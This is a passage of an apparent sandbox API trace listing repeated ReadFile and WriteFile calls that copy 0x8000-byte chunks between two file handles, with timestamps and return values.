	[0053.603] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.604] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.604] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.605] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.605] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0053.606] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0053.608] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.123] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.124] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.124] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.125] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.132] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.133] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.133] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.134] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.135] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.136] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.136] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.137] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.137] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.138] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.139] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.141] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.141] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.144] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.158] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.166] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.166] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.167] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.167] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.168] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.168] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.168] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.169] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.169] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.169] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.171] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.172] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.173] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.174] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.174] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.175] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.175] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.175] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.176] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.176] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.177] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.177] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.178] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.179] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.179] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.180] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.180] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.357] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.362] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.363] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.363] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.364] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.365] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.365] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.366] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.366] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.367] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.368] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.368] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.369] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.369] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.370] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.371] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.372] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.374] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.374] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.375] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.375] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.376] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.376] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.377] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.377] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.378] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.378] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.379] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.379] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.380] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.380] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.381] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.382] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.384] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.384] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.430] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.430] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.431] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.432] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
	[0055.432] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x8000, lpOverlapped=0x0) returned 1
	[0055.433] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x8000, lpOverlapped=0x0) returned 1
